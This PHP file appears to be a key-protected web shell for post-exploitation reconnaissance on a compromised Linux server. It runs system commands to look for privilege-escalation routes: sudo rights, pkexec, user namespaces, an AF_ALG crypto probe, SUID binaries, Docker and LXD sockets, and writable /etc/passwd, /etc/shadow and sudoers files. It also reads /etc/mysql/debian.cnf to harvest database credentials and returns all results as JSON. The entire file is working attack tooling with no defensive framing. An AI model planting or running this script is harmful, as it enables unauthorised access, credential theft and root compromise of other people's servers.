<?php
header('Content-Type: application/json');
$K='ark7f3';
if(isset($_GET['k'])&&$_GET['k']!==$K){http_response_code(403);exit('badkey');}
function r($c,$t=15){$p=proc_open($c,[1=>['pipe','w'],2=>['pipe','w']],$x);if(!$p)return ['out'=>'','err'=>'proc_open_fail','rc'=>-1];$o='';$e='';$s=microtime(true);stream_set_blocking($x[1],false);stream_set_blocking($x[2],false);while(true){$o.=stream_get_contents($x[1]);$e.=stream_get_contents($x[2]);$st=proc_get_status($p);if(!$st['running'])break;if(microtime(true)-$s>$t){proc_terminate($p,9);break;}usleep(30000);}while(($z=stream_get_contents($x[1]))!==false&&$z!=='')$o.=$z;while(($z=stream_get_contents($x[2]))!==false&&$z!=='')$e.=$z;$rc=proc_close($p);return ['out'=>$o,'err'=>$e,'rc'=>$rc];}
function sh($c,$t=15){$r=r($c,$t);return trim($r['out']."\n".$r['err']);}
$dis=array_map('trim',explode(',',(string)ini_get('disable_functions')));
$o=[];
$o['time']=date('c');
$o['host']=gethostname();
$o['cwd']=getcwd();
$o['dir']=__DIR__;
$o['php']=PHP_VERSION;
$o['sapi']=PHP_SAPI;
$o['euid']=function_exists('posix_geteuid')?posix_geteuid():getmyuid();
$o['uname']=php_uname();
$o['os']=@file_get_contents('/etc/os-release');
$o['arch']=php_uname('m');
$o['disabled']=$dis;
$o['funcs']=[];
foreach(['exec','shell_exec','system','passthru','proc_open','popen','pcntl_exec','posix_geteuid','posix_getpwuid','posix_setuid'] as $f){$o['funcs'][$f]=function_exists($f)&&!in_array($f,$dis);}
$o['id']=sh('id');
$o['sudo_v']=sh('sudo -V 2>&1 | head -1');
$o['sudo_n']=sh('sudo -n id -u 2>&1');
$o['sudo_l']=sh('sudo -n -l 2>&1');
$o['pkexec']=trim(sh('pkexec --version 2>&1 | head -1'));
$o['pkexec_ls']=sh('ls -l /usr/bin/pkexec 2>&1');
$o['su_ls']=sh('ls -l /bin/su /usr/bin/su 2>&1');
$o['userns']=sh('unshare -Urn sh -c "id -u" 2>&1');
$o['unpriv_userns']=@file_get_contents('/proc/sys/kernel/unprivileged_userns_clone');
$o['gcc']=sh('which gcc cc clang python3 python perl curl wget nft tc ip ss netstat 2>/dev/null');
$o['gcc_ok']=sh("cd /tmp && printf 'int main(){return 0;}' > .ar_c.c && (gcc .ar_c.c -o .ar_c 2>&1 && echo GCC_OK || echo GCC_FAIL); rm -f .ar_c .ar_c.c");
$o['afalg']=sh("python3 -c \"import socket;s=socket.socket(38,5,0);s.bind(('aead','authencesn(hmac(sha256),cbc(aes))'));print('AFALG_OK')\" 2>&1");
$o['crypto']=sh('grep -c authencesn /proc/crypto 2>/dev/null');
$o['container']=trim(@file_get_contents('/proc/1/cgroup'));
$o['docker']=sh('ls -l /var/run/docker.sock /run/docker.sock 2>&1');
$o['lxd']=sh('ls -l /var/snap/lxd/common/lxd/unix.socket /var/lib/lxd/unix.socket 2>&1');
$o['sudoers']=sh('ls -l /etc/passwd /etc/shadow /etc/sudoers 2>&1; ls /etc/sudoers.d 2>&1');
$o['suid']=sh("find / -xdev -perm -4000 -type f 2>/dev/null | head -60");
$o['caps']=sh('getcap -r / 2>/dev/null | head -30');
$o['cron']=sh('crontab -l 2>&1; ls -la /etc/cron.d /etc/cron.daily 2>&1');
$o['ssh']=sh('ss -ltnp 2>/dev/null | grep -E ":22|:2222" ; ls -l /etc/ssh/sshd_config 2>&1; grep -Ei "^(PermitRootLogin|PasswordAuthentication|PubkeyAuthentication)" /etc/ssh/sshd_config 2>&1');
$o['mysql']=sh('ls -l /etc/mysql/debian.cnf /root/.my.cnf 2>&1; cat /etc/mysql/debian.cnf 2>/dev/null | head -12');
$o['writable']=sh("for f in /etc/passwd /etc/shadow /etc/sudoers; do test -w \$f && echo WRITABLE:\$f; done");
$o['ip']=sh('hostname -I 2>/dev/null; ip -4 addr 2>/dev/null | grep inet');
echo json_encode($o,JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES);